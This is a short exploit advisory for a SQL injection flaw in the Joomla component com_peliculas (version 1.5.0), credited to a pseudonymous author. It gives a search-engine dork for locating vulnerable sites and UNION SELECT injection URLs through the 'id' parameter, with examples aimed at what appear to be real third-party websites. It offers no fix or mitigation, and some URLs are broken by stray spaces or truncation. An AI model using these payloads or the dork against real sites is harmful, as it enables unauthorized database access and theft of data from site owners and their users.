Joomla Component com_peliculas Sql Injection Vulnerability

[Siamak.Black]

================================================== ============

################################################## ##################
.:. Author : AtT4CKxT3rR0r1ST [[email protected]]
.:. Script : http://joomlacode.org/gf/download/fr..._peliculas.zip
.:. Dork : inurl:"com_peliculas"
.:. Version : V1.5.0
################################################## ##################
===[ Exploit ]===

http://www.site.com/index.php?option...iculas&id=null[Sql Injection]

Example:

http://www.pasadizo.com/index.php?option=com_peliculas&view=peliculas&id=n ull+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,1 2,13,14,15

http://www.lucenalia.com/index.php?option=com_peliculas&view=peliculas&id=n ull+and+1=2+union+select+1,2,3,4,5